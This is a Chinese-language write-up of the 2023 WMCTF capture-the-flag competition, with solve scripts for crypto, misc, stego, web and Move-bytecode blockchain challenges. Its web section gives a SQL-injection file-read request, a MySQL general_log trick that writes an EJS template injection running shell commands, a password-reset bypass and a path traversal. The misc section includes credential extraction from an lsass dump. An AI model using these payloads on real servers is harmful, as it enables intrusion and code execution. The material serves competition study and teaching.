之后使用Coppersmith algorithm:

p0=6180341779987794791679383533493441278304482988295728970002010278323541482854731692960937940209758727192081763548392819308255678615763722924309615499520656162884454330561373415478354301786092466775697363738544067442342145060247700246026839702854128676295391218163009975944219348185629657174841M=19467773070115377343221509599623925236459751278180415885837207534756855405403128279156705968461708578168638327032034542684864920135818987044810141311008655898015207220772515212093850725541003213054560185603695585660265284153421684796257245143362498012760214539505870197264858636122745485373430n=18032642119891675015634719957039870015742524539858639439834658930008776003013042842143782414576433022649025180063463544831124883394246709797616244731491806211364960528216484262424797661180593324339005911097255958985751877487523079554797230181016640557336071008137273332767517531252916665235565727380930962151007292432998256888216507991203105984331756342933965401731270859582397904670795343305165971015203863978224117710715273814690325025159502003664886848946708639907233664034898208262266153700025555467785836951278004590665403450216441853247495533250979253608834456312501347747669833805276507247340072019703184187053
PR.<x> = PolynomialRing(Zmod(n))f = x * M + p0f=f.monic()x0 = f.small_roots(X=2^55, beta=0.1)[0]  print(x0)
k=int(x0)p=k*M+p0q=n//pc=4079617034740183081821755124678218089786354168383834633301801050676088293809349570896458284893930548921602262125131475415212014863375158250429203329170558886229180667179785276918602876964875159054497577855770836206856860284117478537458936820516436680857603166477024613217285463294620787876922339308060108206572650487934560987099177298397565917583187292291836760665259648849285544837891721363168046307696652568852443614673977068677666682277496995155692885130492657536142514077872108583903003321243677559234220966762684461282898229529300280383743212615126505123019490928111422269345284324442169686613365863804680396934e = 65537assert p*q == nphi = (q-1) * (p-1)import gmpy2d = gmpy2.invert(e,phi)m = gmpy2.powmod(c,d,n)from Crypto.Util.number import *print(long_to_bytes(int(m)))#5418423853494913#b'wmctf{b4d_primE_f4ctor_1s_the_w3akness_for_RSA}'

signin:

bomb_p.py:

from Crypto.Util.number import *from random import randrange#from secret import flag
def pr(msg):    print(msg)def gen_prime(bit):    while 1:        P = getPrime(bit)        if len(bin(P)) - 2 == bit:            return P
pq_bit = 512offset = 16


#exit()n=86758785151449191744938975941158722200669600800805368459794834850656970080930362335465080027661006328930574653825568439129882553387281519314853580393073935058899952082418376797606313277816697222072560068329669216678928614030400618388252467702214548838172469805834383735560248777677350803115775241879721247753hint=69167250174905162041897179328090462215012635495086462121597516046935678093317546942421666720912064247983526842992930843078987617721194124657447425320


#p=hint>>496<<496#print(p)#q=n//ppxx=[]for sp in range(2**15,2**16):    p0=sp<<496    p=p0    q=n//p
    for i in range(496//8):        p=p0+((hint>>(512-24-i*8)^(q>>(512-8-i*8)))<<(512-24-i*8))        q=n//p        #print(i,hex(p))        #print(i,hex(q))    print(sp,hex(p))    if p not in (pxx):        pxx.append(p)    if n%p==0:        print(p)        print("okokok")        break

hnp_done.sage:

from Crypto.Util.number import *n=10068120009611900710340009228807164287180487837662273666833305581969035457194655810946081012591018177252211844319894653028632995279540894765162752514488423bs=[3344386149553993761337223236359580606361690184164658066525718886521829553793652350710465647454642658256862221369367887786527716040074170610020748800883861, 7745203019615021142842532182360364322092826789799909558390027396474139456409389025646893577897852334294698561559571870197120878212647907091166204868934650, 9863234688303965158899434191965543293693981548108876081961758006682765581887757230761512951247143952986778767083627682520963699218541684165614718890282929, 5350412218790737097299184814980374042154567641104325793874588652108586125235885320687125502608410491913316640639134520179162782559094506674621595092924384, 9636490626903076339490321106485208567156447550756867861709102693920936368103336146664142344544168680554975777180513422410075385003002541268404125129534761, 1610438099907200485412623070651554161229450740422237557397262301136292919384632813532671862863023656449855084739775870043640469400491381980408252280920795, 6629733570156371237154363596900954663249823855893088503418861526389208540668422438250802584317622835796926489545872253944076786166308667431736258097270312, 3356503946958930353734457494899463197609933968101167420455158554662819880525604791165826400654457265082395057567396548737254221649266301526161363575504975, 9647279981207384646211956846972654597206473453885612514014817612913161583205105589471197415890433123780750566062376540615521453478632099901675175039095055, 3532329355729490928834135327146877689229189663166932586934326475095001791352626582292647589574061380374021810901207279429545546336893426093110946493292923, 2227409922296458653628834356398339827468441517686173568752386847469428917784098155382197274155665630876383871995287365314034360485323284060235403018224999, 4435088696286281181545021545199591254946863521407462888351721693299486903477783075690020243575281763822354300918114017192331360224985744783683515789203538, 9382337544750792045767069920148789402287715888927004986472627859335888441225614326816860187599984897390769930124562791038946460219294354304726370835720456, 4249978508830668027297717916550927102321914023923967886508927184312799312153886298411424888886464144078331790770079119662372212366047670311144186338570205, 7487214284987432476268823658127674861189073424018685662052678102926515617633870929597439317992457956545033835726411581043256299748856840584422901199088548, 5123460207883744644904054621339894571374042793279836275850158535496781700379606224505289751784744993521901837339699561709781491677142587791136401637943713, 4424273678412809045947231625130138083437834526314777868306202878682326894738948372416102070634850520182585732939284407455427209536769070098545909948193299, 3066713559897809809794302164770062357184816385093727916228789439128599923964918067042761738694485339747697469881084252338737106117851971245006815397993415, 4722992296597951775428553693711917996251022627063936229598571146812715678964639696931505521061519535882112458714084686918015181057239246858830885795351528, 7652762742330039010766027879326698732584993145346528759892419120726776065861513432655358420057973014728829305701917875130910713176600729587161287696598770, 9208649908451888867093680655294229201645369526984095124613817893260073203973254263227541304909112956179072151900272954502280918587038388606577688941550183, 9731714045295864885250184587677024977798621550210585898020647201149161725144694742325455938782605517623955274189479583569919325767151683609097709824946126, 4013006694946043270060437378883940835562659476440738578839953846095087545195541402020583950629340534608057526799901631223976561828202368269791370367653851, 8402965907831690688155450578267498717021787522008870726642919793023418221444832441933281554950130503682705116219539333185928920287725039662092666090793683, 3538916404087376557527026137239341467359824083573064742962128740085883468256910858405220711210474043768525945042989516503975645145377852544161308922683674, 3048878001713489375660758552218107587420903010332511161291853577603302727659967309906573235083005661461770762592895406342379512398813418493700198736003203, 6485968711720096307356683831053385993865365496288883733087981105740851157723473329324995521980388501124760494412843349275411322305221048622280863942797239, 4677192363396435433790046582343699373826549654074606615511987300035381286573220303477088850712812644587220186723353652599127338184669715350322262772037668, 7010940641051859474384486753460971901608969627562173846365753383400796990925637811995050589912540301339968589117003742262416175145722610794169122890493950, 1495966448257511027701547307974586849894568636015333492093382901121330665008998930363339788018476392230932883859352269484957756813849888093768791058212288, 796576399355707516684450618615710092912813643572217385607737040315654489799606797785870328856215794334751090225640944394236718122997242792926542235809226, 8883590680287951964717066543784762116840649680435347088143169782355586433583166934520115525787642884936103784843353636645204801113644734694054513378254614, 6400981503613610321805520038921232791270828509769385452609379453916257790832833630151020559886288937758054170902628905890933790418955527792141405417328188, 138472506759671464304203991807914550975235117720777061049769605594025391421712729167145775295066662976060232124363478375937464555520389100394021505529356, 3799314543622309964803479181507385233066096838581338629551106005594989101255823808965335165873512061402051100240253039572360538258297264578906248470638159, 1006101020422249977029343786840901313673266367388891409491924176675335201610623782587443655784864789076184079404045032913325694581195236450708175002762481, 9788789984089939939155389631663032332763855717587278456438352685194224862085067040066866442661127571882134350951317310136981648545787665482211410141032695, 1030437522671760309108326507207853860119041784833767545593288811617145451414737749963253465491432832608506459795498372945314353405267528272379804132270233]rs=[10500, 54231, 53553, 55605, 37974, 8105, 44755, 12010, 57545, 54005, 16382, 48870, 3056, 61657, 42761, 48611, 31146, 43734, 31897, 45757, 91, 10301, 7336, 42261, 8311, 54496, 20286, 59283, 36654, 21557, 50990, 64144, 10545, 8236, 20851, 15622, 49856, 1241]

print(len(rs))

RR=RationalField(256)M=Matrix(RR,40,40)for i in range(38):    M[i,i]=nfor i in range(38):    M[38,i]=(inverse(2^16,n)*bs[i])%n    M[39,i]=(inverse(2^16,n)*rs[i]*(-1))%nM[38,38]=RR(2^496/n)M[39,39]=2^496res=M.LLL()#print(res[0][-2],res[0][-1])#print(res[1][-2],res[1][-1])#print(res[2][-2],res[2][-1])
print(res[1][-2]*n/2^496)

2023 WMCTF writeup by W4ntY0u

welcomesigner2:

from pwn import *#context.log_level = 'debug'from gmpy2 import *from sage.all_cmdline import *  from Crypto.Util.number import *from Crypto.Cipher import AESfrom hashlib import md5r = remote('1.13.101.243', 26198)se      = lambda data               :r.send(data) sa      = lambda delim,data         :r.sendafter(delim, data)sl      = lambda data               :r.sendline(data)sla     = lambda delim,data         :r.sendlineafter(delim, data)sea     = lambda delim,data         :r.sendafter(delim, data)rc      = lambda numb=4096          :r.recv(numb)rl      = lambda                    :r.recvline()ru      = lambda delims        :r.recvuntil(delims)uu32    = lambda data               :u32(data.ljust(4, '�'))uu64    = lambda data               :u64(data.ljust(8, '�'))info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def myfastexp(m,d,tmpA,j,N_):    A = tmpA    B = m    n = len(d)    N = N_    for i in range(n):        if d[i] == '1':            A = A * B % N        #  a fault occurs j steps before the end of the exponentiation        B = B**2 % N    return A
def get_n():  ru(b"uit")  sl(b"g")  ru(b"n = ")  n0=ru(b"n")  ru(b"| flag_ciphertext = ")  flag=ru(b"n")  n0=str(n0).replace("b'","")  n0=n0.replace("\n'","")  n0=int(n0)  flag=str(flag).replace("b'","")  flag=flag.replace("\n'","")   return n0,flag
def get_n_():  ru(b"uit")  sl(b"f")  ru(b"index:")  sl(b"255,100")  ru(b" n_ -> ")  n_0=ru(b"n")    n_0=str(n_0).replace("b'"","")  n_0=n_0.replace(""\n'","")  n_0=int(n_0)   return n_0
def get_s(i):  ru(b"uit")  sl(b"s")  ru(b"want to interfere:")  sl(i)  ru(b'signature of "Welcome_come_to_WMCTF" is ')    s=ru(b"n")  s=str(s).replace("b'","")  s=s.replace("\n'","")  s=int(s)  return s
n,flag=get_n()print(flag)
n_=get_n_()
print(n,n_)print(gcd(n,n_))
s0=get_s("0")s1=get_s("1")


dnum=0tmpA=0msg = bytes_to_long(b"Welcome_come_to_WMCTF")for i in range(1000,1024):  B=pow(msg,2**i,n)  B1=pow(B,2,n_)  B=pow(B,2,n)  #print(i,B1)  A0=(s0*invert(B,n))%n  A1=(s1*invert(B1,n_))%n_  if A0==A1:    print(i)     dnum=i+1    tmpA=A0      break
print(dnum,tmpA)dxx="1"for i in range(2,dnum+1):  B=pow(msg,2**(dnum-i),n)  B1=pow(B,2,n_)  B=pow(B,2,n)  tmpjg=myfastexp(B1,"0"+dxx,tmpA,i,n_)  s=get_s(str(i))  if(s==tmpjg):    dxx="0"+dxx  else:    dxx="1"+dxx    tmpA=(tmpA*invert(B,n))%nprint()    dxx="1"+dxxdxx=dxx[::-1]d=int(dxx,2)key = bytes.fromhex(md5(str(d).encode()).hexdigest())enc = AES.new(key,mode=AES.MODE_ECB)flag=int(flag,16)flag=long_to_bytes(flag)c   = enc.decrypt(flag)print(c)

2023 WMCTF writeup by W4ntY0u

MISC

Oversharing:

题目容器是ssh,附件是流量,推测需要在流量中找到凭证进行连接

2023 WMCTF writeup by W4ntY0u

在流量中找到lsass.DMP文件,导出

2023 WMCTF writeup by W4ntY0u

使用mimikatz提取凭证

2023 WMCTF writeup by W4ntY0u

得到

Username:randark 

Password:1a05cf83-e450-4fbf-a2a8-b9fd2bd37d4e

连接

2023 WMCTF writeup by W4ntY0u

find me:

根据题目描述,前往Reddit寻找WearyMeadow

2023 WMCTF writeup by W4ntY0u

2023 WMCTF writeup by W4ntY0u

找到一串base64,aHR0cHM6Ly91ZmlsZS5pby82NzB1bnN6cA==

解码得到

2023 WMCTF writeup by W4ntY0u

访问后下载得到一个流量

审计发现进行了三次认证,当key=mysecretkey时认证成功开始会话

2023 WMCTF writeup by W4ntY0u

2023 WMCTF writeup by W4ntY0u

2023 WMCTF writeup by W4ntY0u

转换为原始数据

2023 WMCTF writeup by W4ntY0u

最长的那一串应该就是包含有flag的密文数据了

根据题目描述,我们应该还需要找到加密以及解密数据的脚本

发现Reddit中WearyMeadow还有个blog的链接,访问

2023 WMCTF writeup by W4ntY0u

找到了疑似加密脚本的文章

2023 WMCTF writeup by W4ntY0u

需要密码

在github中也找到了WearyMeadow

2023 WMCTF writeup by W4ntY0u

发现有一个自动登录的项目,其中有一个login.py的脚本

2023 WMCTF writeup by W4ntY0u

在其中找到了一个密码:P@sSW0rD123$%^解密博客文章

2023 WMCTF writeup by W4ntY0u

得到了server.py与client.py

根据逻辑编写exp

import socketimport randomfrom Crypto.Cipher import AESfrom sys import argvimport binascii
def pad(s):    return s + b"�" * (AES.block_size - len(s) % AES.block_size)
def encrypt(message, key):    seed = random.randint(0, 11451)    random.seed(seed)    encrypted = b''    for i in range(len(message)):        encrypted += bytes([message[i] ^ random.randint(0, 255)])    cipher = AES.new(key, AES.MODE_ECB)    encrypted = cipher.encrypt(pad(encrypted))    return encrypted

key = b'mysecretkey'.ljust(16,b'x00')print(key)hex_ciphertext = "778f6cc13090c6a4f0b51939d784a6b38512f80a92b82bf8225fb8bfed713b2f8eee53dfbe228c7296449d904467a1677c83b9534e2dfcfcbc6f7b08f77f96f2" 
ciphertext = binascii.unhexlify(hex_ciphertext)cipher = AES.new(key, AES.MODE_ECB)decrypted_data = cipher.decrypt(ciphertext)print(decrypted_data)
unpadded = decrypted_data.rstrip(b'x00')print(unpadded)print()for i in range(11451):    seed = i    random.seed(seed)    original_message = b''    for j in range(len(unpadded)):        original_message += bytes([unpadded[j] ^ random.randint(0, 255)])    # print(original_message)    if b'WMCTF' in original_message:        print(original_message)

运行得到flag

2023 WMCTF writeup by W4ntY0u

Fantastic terminal:

在文件out.wasm中查找到了flag

2023 WMCTF writeup by W4ntY0u

回到wasm文件中搜索一下:

2023 WMCTF writeup by W4ntY0u

Fantastic terminal Rev:

没有hexdump和xxd。

用gpt给的命令把challenge给dump出来。

od -t x1 -A n -v challenge | sed 's/ / /' | sed 's/  / /g' | sed 's/ $//'

然后就变成逆向签到题了。

__int64 __fastcall main(int a1, char **a2, char **a3){  unsigned int v3; // eax  __int64 v4; // rdi
  dword_4014 = 0;  v3 = time(0LL);  v4 = v3;  srand(v3);  sub_1325();  while ( dword_4014 <= 9 )    sub_143F();  sub_136C(v4, a2);  return 0LL;}
void __fastcall sub_143F(){  int v0; // [rsp+0h] [rbp-10h] BYREF  int v1; // [rsp+4h] [rbp-Ch]  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  v2 = __readfsqword(0x28u);  printf("nNow for round %dn", (unsigned int)(dword_4014 + 1));  v1 = rand() % 10;  printf("Tell me your answer:");  __isoc99_scanf("%d", &v0);  if ( v1 != v0 )  {    puts("Nonono!n");    exit(0);  }  puts("Congratulations!");  ++dword_4014;}

复制到本地后,把判断nop了,直接获得flag。

Now for round 10Tell me your answer:2Congratulations!Here's what you want:
WMCTF{r3venge_term1nal_after_fuck1ng_paatchhhhhhhhhhhhh}

应该是非预期。

STEG

EZ_v1deo:

保存第一榛视频,看看有没有隐写

2023 WMCTF writeup by W4ntY0u

结果:

2023 WMCTF writeup by W4ntY0u

就懂了 观察过后,应该是每5帧一个循环没5帧提前一张:

2023 WMCTF writeup by W4ntY0u

Mondy left me Broken:

像某种置乱算法,爆破一下:

import numpy as npimport matplotlib.pyplotfrom skimage.io import imread, imshowimport timeimport mathimport cv2
def arnold_decode(image, shuffle_times, a, b):    decode_image = np.zeros(shape=image.shape)    h, w = image.shape[0], image.shape[1]    N = h # 或N=w,N=h    for time in range(shuffle_times):        for ori_x in range(h):            for ori_y in range(w):                new_x = ((a*b+1)*ori_x + (-b)* ori_y)% N                new_y = ((-a)*ori_x + ori_y) % N                decode_image[new_x, new_y] = image[ori_x, ori_y]    cv2.imshow("image",decode_image)    cv2.waitKey(10)    cv2.imwrite(i,decode_image)    return decode_imagefinal = imread('flag.png')
for z in range(0,1000):    i = str(z) + '.png'    arnold_decode(final, 10, z,z)

拿到一个图

2023 WMCTF writeup by W4ntY0u

大早上看到吓我一跳,然后确定是猫脸变换且a=5 b=5

写一个变换视频的:

import cv2import numpy as np
def arnold_decode(image, shuffle_times, a, b):    # 创建新图像    decode_image = np.zeros(shape=image.shape, dtype=np.uint8)
    # 计算N    h, w = image.shape[0], image.shape[1]    N = h  # 或N=w
    # 遍历像素坐标变换    for time in range(shuffle_times):        for ori_x in range(h):            for ori_y in range(w):                # 按照公式坐标变换                new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N                new_y = ((-a) * ori_x + ori_y) % N                decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]    return decode_image
# 打开待解码视频video_path = "final.mkv"cap = cv2.VideoCapture(video_path)fps = int(cap.get(cv2.CAP_PROP_FPS))frame_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))frame_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))num_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
a = 5b = 5st = 1
# 创建输出视频output_path = "decoded_final.mp4"fourcc = cv2.VideoWriter_fourcc(*'mp4v')  # 使用MP4编解码器out = cv2.VideoWriter(output_path, fourcc, fps, (frame_width, frame_height))
# 逐帧解码和保存for _ in range(num_frames):    ret, frame = cap.read()    if ret:        decoded_frame = arnold_decode(frame, st, a, b)        out.write(decoded_frame)    else:        break
# 释放资源cap.release()out.release()cv2.destroyAllWindows()

得到:

2023 WMCTF writeup by W4ntY0u

有两个信息第一是原视频为:bilibil:oeraezzyb第二个为水印参数:

2023 WMCTF writeup by W4ntY0u

到这就没思路了,后续官方给了个hint

2023 WMCTF writeup by W4ntY0u

通过格式工厂,保存原版视频:

2023 WMCTF writeup by W4ntY0u

分离两个视频的音频,并放入audacity中查看:

2023 WMCTF writeup by W4ntY0u

题目的音频明显加了隐写,放入Adobe Audition后发现了东西:

2023 WMCTF writeup by W4ntY0u

尝试提取一下上面的二维码:

2023 WMCTF writeup by W4ntY0u

保存一张相对清晰的,尝试扫一下:

2023 WMCTF writeup by W4ntY0u

尝试了几个工具都不行,本打算用qrazybox手动恢复,最后我用微信扫了一下:

QRazyBox - QR Code Analysis and Recovery Toolkit (merri.cx)

2023 WMCTF writeup by W4ntY0u

拼接得到flag:

WMCTF{Vedio_Audio_I_CAN_GOT_both}

WEB

myblog:

存在sql注入可以读取文件 通过起docker可以找到pin码的位置 直接读取

2023 WMCTF writeup by W4ntY0u

在执行sql语句处进行操作

GET /post/%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%6c%6f%61%64%5f%66%69%6c%65%28%22%2f%68%6f%6d%65%2f%65%7a%62%6c%6f%67%2f%2e%70%6d%32%2f%6c%6f%67%73%2f%6d%61%69%6e%2d%6f%75%74%2e%6c%6f%67%22%29%2c%33%20/edit HTTP/1.1Host: bbf07101-625f-4096-aafe-ea3695f9a6b6.wmctf.wm-team.cnUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://fd847197-cc3c-4dfa-bc2b-98d9ac0e4dc0.wmctf.wm-team.cn/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 1
CREATE DATABASE mysql;use mysql;CREATE TABLE general_log (    event_time TIMESTAMP(6) NOT NULL DEFAULT CURRENT_TIMESTAMP(6) ON UPDATE CURRENT_TIMESTAMP(6),    user_host MEDIUMTEXT NOT NULL,    thread_id BIGINT UNSIGNED NOT NULL,    server_id INT UNSIGNED NOT NULL,    command_type VARCHAR(64) NOT NULL,    argument MEDIUMBLOB NOT NULL) ENGINE=CSV CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;SET GLOBAL general_log = 'ON';SET GLOBAL general_log_file = '/home/ezblog/views/post.ejs';

可以通过创建general_log的方式 设置general_log_file 在输入的sql语句中加入ejs模板注入 可以实现rce

select '<%= process.mainModule.require("child_process").execSync("/readflag").toString() %>';

最后切换到ctf库

2023 WMCTF writeup by W4ntY0u

ez_java_agagin:

直接netdoc读取

2023 WMCTF writeup by W4ntY0u

你的权限放着我来:

先进行注册,登录后查看源码  给了一些提示和邮箱

2023 WMCTF writeup by W4ntY0u

经过测试发现密码找回功能能够收到邮件

收到邮件后访问该链接进行抓包  然后访问该api接口进行密码修改

2023 WMCTF writeup by W4ntY0u

2023 WMCTF writeup by W4ntY0u

这里的话email换成前面给的固定的那几个邮箱 一个一个试就可以  token得为空  不然会失败

AnyFileRead:

2023 WMCTF writeup by W4ntY0u

绕过这个就行 然后谷歌去搜怎么绕过

2023 WMCTF writeup by W4ntY0u

然后这样就可以绕过进行文件读取了

/admin/../flag

BLOCKCHAIN

babyblock:

分别尝试0和1即可

2023 WMCTF writeup by W4ntY0u

mollvme:

pow验证后得到字节码

结合题目名称猜测是move语言编译生成的字节码

可使用工具aptos反汇编

aptos move disassemble --bytecode-path bytecode.mv --assume-yes

需要注意的是,bytecode.mv不能直接复制字节码hex过来,需要转成bytes类型

反汇编后,指令参考:

https://cookbook.starcoin.org/zh/docs/move/move-vm/summary/

2023 WMCTF writeup by W4ntY0u

可以看到需要do_solve返回True,分析do_solve,首先判断长度为32

2023 WMCTF writeup by W4ntY0u

接着是给idx为5的一个vector(命名为arr)添加一堆值

2023 WMCTF writeup by W4ntY0u

然后是读idx为4的一个vector的值,下标由LdU64确定

而idx为4的vector就是输入inp

于是955~957相当于读取inp[10]的值到栈上

960~962相当于读取arr[6]的值到栈上

然后比较inp[10]和arr[6]

可以看到,如果这两个值相等,则会提前返回False

于是这里要求inp[10]!=arr[6]

2023 WMCTF writeup by W4ntY0u

反观,如果inp[28]!=arr[107]为False,即inp[28]==arr[107],则会继续走BrFalse分支,此时可以确定inp[28]的值,即为arr[107]

2023 WMCTF writeup by W4ntY0u

经过分析多处类似的block,大胆猜测,如果使得所有判断inp[idx1]和arr[idx2]Neq的结果全为False,即可全走BrFalse,从而避免提前的Ret,同时能够确定inp[idx1]==arr[idx2]

于是最终脚本如下:

import refrom pwn import *context.log_level = "debug"
io = remote("43.132.224.5", 13337)io.recvuntil(b"You can run the solver with:n")target = io.recvline().decode().split(" ")target = target[len(target)-1]cmd = "python3 pow.py solve " + targetsol = subprocess.Popen(    cmd, shell=True, stdout=subprocess.PIPE).stdout.read().decode()io.sendlineafter(b"Solution? ", sol.encode())io.recvuntil(b"Here is the bytecode:n")bytecode = io.recvline().decode().strip("n")bytecode = bytes.fromhex(bytecode)with open("bytecode.mv", "wb") as f:    f.write(bytecode)subprocess.call(    "aptos move disassemble --bytecode-path bytecode.mv --assume-yes", shell=True)with open("disassembled-code.move", "r") as f:    code = f.readlines()inp = [-1]*32arr = []inp_arr_map = []inpStart = FalsearrStart = Falseidx = 0while idx < len(code):    if arrStart == False:        line = code[idx]        if "VecPack(5, 0)" in line:            arrStart = True            idx += 1        idx += 1    else:        l0, l1, l2 = code[idx], code[idx + 1], code[idx + 2]        if "MutBorrowLoc" in l0 and "LdU64" in l1 and "VecPushBack" in l2:            num = re.search(r"LdU64((.*))", l1).group(1)            arr.append(int(num))            idx += 3        elif "Arg0: vector<u8>" in l2:            inpStart = True            breakwhile idx < len(code):    if inpStart == False:        line = code[idx]        if "Arg0: vector<u8>" in line:            inpStart = True        idx += 1    else:        tmp = []        Neq = False        while not code[idx].startswith("B"):            if "LdU64" in code[idx]:                num = re.search(r"LdU64((.*))", code[idx]).group(1)                tmp.append(int(num))            elif "Neq" in code[idx]:                Neq = True            idx += 1        if len(tmp) == 2 and Neq:            inp_arr_map.append(tmp)        inpStart = Falsefor map in inp_arr_map:    inp[map[0]] = arr[map[1]]io.sendlineafter(b"Your input:", bytes(inp).hex())io.interactive()# WMCTF{Sui_1s_4_4w3s0m3_4nd_3ff1c13nt_4rch1t3ctur3_FLAG_IS_GENERATED_BY_COPILOT}

FOOTER

CTF组招新:

1. Web:Java,Go,Rust,Node.js,PHP等熟悉任意两种及以上代码审计,加分项:有高质量cve,学习能力强。

2. Crypto:熟悉数论,群论等,加分项:格大佬,会sage脚本,会做nc交互题,学习能力强。

3. Reverse:熟悉多种语言包括但不限于go、rust,熟悉脱壳、反反调试姿势,会Android flutter逆向,frida检测,去ollvm混淆和mov混淆,加分项:手搓天手搓地。

4. Pwn:熟悉多种house of利用技巧、高版本堆利用姿势,加分项:kernel,qemu、musql等。

5. Blockchain:来者不拒,加分项:solana pwn,move系列,学习能力强。

6. Misc:熟悉各种编码、隐写术、流量分析思路,熟练掌握取证技术,加分项:会其他任意两个方向以上普通难度的题,学习能力强。

其他:iOS,IOT,车联网,AI等无明确标准。

联系qq2944508194

原文始发于微信公众号(山海之关):2023 WMCTF writeup by W4ntY0u

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月23日01:26:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023 WMCTF writeup by W4ntY0uhttps://cn-sec.com/archives/1972290.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息